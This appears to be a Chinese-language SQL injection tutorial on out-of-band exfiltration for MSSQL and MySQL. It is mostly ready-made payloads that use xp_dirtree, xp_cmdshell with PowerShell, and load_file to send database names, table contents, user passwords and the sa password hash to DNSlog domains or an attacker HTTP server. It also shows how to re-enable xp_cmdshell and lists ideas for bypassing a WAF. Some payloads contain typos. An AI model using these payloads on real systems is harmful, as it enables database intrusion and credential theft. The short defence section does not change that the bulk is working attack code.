Mssql_Dnslog外带
原理
DNSLOG解释
DNS: 域名解析IP , 用户在浏览器输入一个域名, 靠DNS服务解析域名的真实IP, 访问服务器上相应的服务
DNSLOG: DNS的日志, 存储在DNS 服务器上的域名信息, 记录着用户对域名的访问信息,类似日志文件
DNSLOG利用原理
DNSLOG 是解析日志, DNS分为三级域名, 域名不区分大小写, 所以利用解析的日志把攻击者需要的值带出, 称为数据外带, 原理上只要能进行DNS请求的函数都可能存在DNSlog注入
DNSLOG利用场景
sql注入时, 存在盲注或者延时, 我们获得需要数据就会频繁请求, 最后导致IP 被Ban
sql注入时, 执行命令注入,但是目标站点什么也不显示,无法确定,就可以使用DNSLOG获取回显
函数:
master..xp_dirtree #存储程序, 用于获取所有文件夹的列表命令
exec master..xp_dirtree 'c:windows';
xp_cmdshell #存储程序, 用于执行命令
DECLARE #创建变量
master.dbo.fn_varbintohexstr(CONVERT(varbinary,(******))) #转环
解释: sql server 中不能直接转十六进制, 需要转到二进制,在转到十六进制
利用xp_dirtree
函数构造
明确master..xp_dirtree如何拼接函数
exec master..xp_ditree '\' user_name() '.三级DNS地址'--
\ 表示windows下统一地址符号,用于连接
user_name() 表示当前数据库用户
三级DNS 拼接三级DNS地址将执行结果带出
由于mssql中外带不允许出现除去0-9a-z的其他特殊符号,我们需要对其进行赋予变量
DECLARE @a vaerchar(1000);
set @a='\' user_name() '.三级DNS地址';
exec master..xp_dirtree @a;
解释: 创建 变量a, 为变量a 赋予值, 使用exec master..xp_dirtree 执行
对执行语句中的特殊符号进行编码
declare @a varchar(1000);
set @a='\'+user_name()+'.三级DNS域名';
exec master..xp_dirtree @a;
payload
;DECLARE @a varchar(1000);Set @a='\'+user_name()+'.dsr7p.f477ch.dnslog.cleverbao.pub';exec master..xp_dirtree @a;--'
处理不能接收特殊服务, 如 -/*等,那么我们就需要进行编码,因为Base64有 号,容易数据丢失,所以我们采用十六进制的方式获取数据
使用函数:(master.dbo.fn_varbintohexstr(CONVERT(varbinary,(******))))
构造payload如下:
;declare @a varchar(1000);
set @a = '\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,(@@version))))+'.三级dnslog'
;exec master..xp_dirtree @a--
由于varbinary()函数只能执行出32个位字符,无法显示全部,所以需要对查询内容进行截取
使用函数: substring('条件语句',开始,结束)
构造payload
;DECLARE @a varchar(1000);
;Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((***********),1,15))))+'.三级dnslog'
;exec master..xp_dirtree @a;--
获取sa密码payload
;DECLARE @a varchar(1000);
;Set @a='\'+(SELECT TOP 1 substring(master.dbo.fn_varbintohexstr(password_hash),1,60) FROM sys.sql_logins WHERE name='sa')+'.三级DNSlog'
;exec master..xp_dirtree @a;--
转码后payload
;DECLARE @a varchar(1000);
;Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((构造条件),1,15))))+'.三级dnslog'
;exec master..xp_dirtree @a;--
获取库名
查询库名语法:select top 1name from master..sysdatabases where name not in(select top 1 name from master..sysdatabases)
payload
但是无法一次获取全部,需要进行字符串截取修改
;DECLARE @a varchar(1000);
Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1name from master..sysdatabases where name not in(select top 1 name from master..sysdatabases)),1,15))))+'.h1b8q0.log.saltor.icu'
;exec master..xp_dirtree @a;--
获取表名
查询库名语法:select top 1table_name from information_sche.tables where table_name not (select top 1table_name from information_sche.tables)
数据带入查询:
payload
;DECLARE @a varchar(1000);
Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1table_name from information_schema.tables where table_name not in (select top 1table_name from information_schema.tables)),1,15))))+'.h1b8q0.log.saltor.icu'
;exec master..xp_dirtree @a;--
获取字段名
查询库名语法:select top 1(column_name) from information_schema.columns where table_name=0x7573657273 and column_name not in(select top 1 column_name from information_schema.columns where table_name=0x7573657273')
构造payload
;DECLARE @a varchar(1000);
Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1(column_name) from information_sche.columns where table_name=0x7573657273 and column_name not in(select top 1 column_name from information_schema.columns where table_name=0x7573657273')),1,15))))+'.h1b8q0.log.saltor.icu'
;exec master..xp_dirtree @a;--
获取数据
查询语法构造: select top 1 username,password from user where username not in(select top 1 username,password from user) and password not in(select top 1 password from users)
构造payload
;DECLARE @a varchar(1000);
Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1 1,username,password from users where username not in (select top 1 username from users) and password not in(select top 1 password from users))),1,15))))+'.h1b8q0.log.saltor.icu'
;exec master..xp_dirtree @a;--
利用xp_cmdshell 外带数据
通过以上案例,我们知道了外带数据的构造,那么是否可以使用xp_cmdshell 外带数据呢?
尝试将payload换成xp_cmdshell外带数据:
;DECLARE @a varchar(1000);
Set @a='\'+(master.dbo.fn_varbintohexstr(CONVERT(varbinary,substring((select top 1table_name from information_schema.tables where table_name not in (select top 1table_name from information_schema.tables)),1,15))))+'.f7zye0.log.saltor.icu'
;exec master..xp_cmdshell @a;--
问题
报错: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息
解决问题:
执行一下sql语句
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure;
之后可以执行xp_cmdshell外带数据了
mssql_http外带数据
我们知道通过dnslog 可以外带数据,那么http是否也可以
原理
dnslog 是因为攻击者执行了命令 让存在sql的目标机访问了攻击者定义好的dnslog, 那么同样的, 可以通过命令, 让存在sql注入的目标机访问 攻击者定义好的http端口 进行回弹数据
思考: 通过什么让的方式能够让目标器访问http?使用什么工具呢?
通过ping的方式, 让目标机访问攻击者构造的http,通过powershell 执行命令让目标机访问攻击者构造的IP
函数
DECLARE #定义变量
set #为变量赋值
master..xp_cmdshell #执行cmdshell
powershell iex(new-object net.webclient).downloadstring #使用powershell (新建 数组 新建webclinet).download以 String 形式下载请求的资源
条件
前提:开启端口监听,是目标机能够访问到攻击者IP
python3 -m http://192.168.1.1:9000
构造
payload
;DECLARE @okma VARCHAR(8000);
SET @okma=(SELECT TOP 1 substring(@@version,1,35));
exec('master..xp_cmdshell"powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.187:9008/?data='+ @okma +''')"' ) --
在语法中 @okma 的payload 是可变的
mysql_dnslog外带
原理
因为windows特性可以认为的主动发送请求,所以造成了mysql在windows下注入外带
通过查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
利用场景
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。
利用条件
服务器必须能正常访问联网
mysql的配置文件secure_file_priv=""
读取文件并返回文件内容为字符串。
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
函数
和之前的mysql 查询语句一样
load_file()
利用
简单的构造:
select load_file('\\dnslog.domain.com')
构造payload
load_file(concat('\\', version(),'.dnslog.domain.com'))-- a
构造查询语句payload
为避免数据都是需要使用十六进制, 由于url 有字符长度限制64,需要使用到截断方法
and load_file(concat('\\', mid(hex(user()),1,60), '.dnslog.domain.com')) -- a
转码后的payload
and load_file(concat(0x5C5C5C5C, mid(hex((*************)),1,60), 0x2E646E736C6F672E646F6D61696E2E636F6D))--a
搭建mysql外带环境
在phpstudy的mysql配置文件my.ini 添加 secure-file-priv=""
DNS注入绕过WAF
思路:
各种编码绕过
字母大小写转换让偶共
空格过滤绕过
双关键字绕过
内联注释绕过
采用大佬文章: https://juejin.cn/post/7013334787133964318
总结:
DNS和http外带注入的满足条件都是需要服务器能够联网
DNS和HTTP外带注入一定要使用十六进制编码防止数据丢失
外带数据注入不只可以外带注入,如果在权限足够的情况下,文件也可以
外带数据常用于延时和盲注,方便读取,不会对服务器发送频繁请求,避免过多的流量请求
防御
使用权限划分,
启用WAF 和防火墙等机制
对用户的传参进行严格的过滤
添加白名单与黑名单
转义所有用户提供的输入
思考
什么条件下会使用到外搭数据的攻击
外带数据在什么攻击方式还会利用到?
XXE进阶--OOB攻击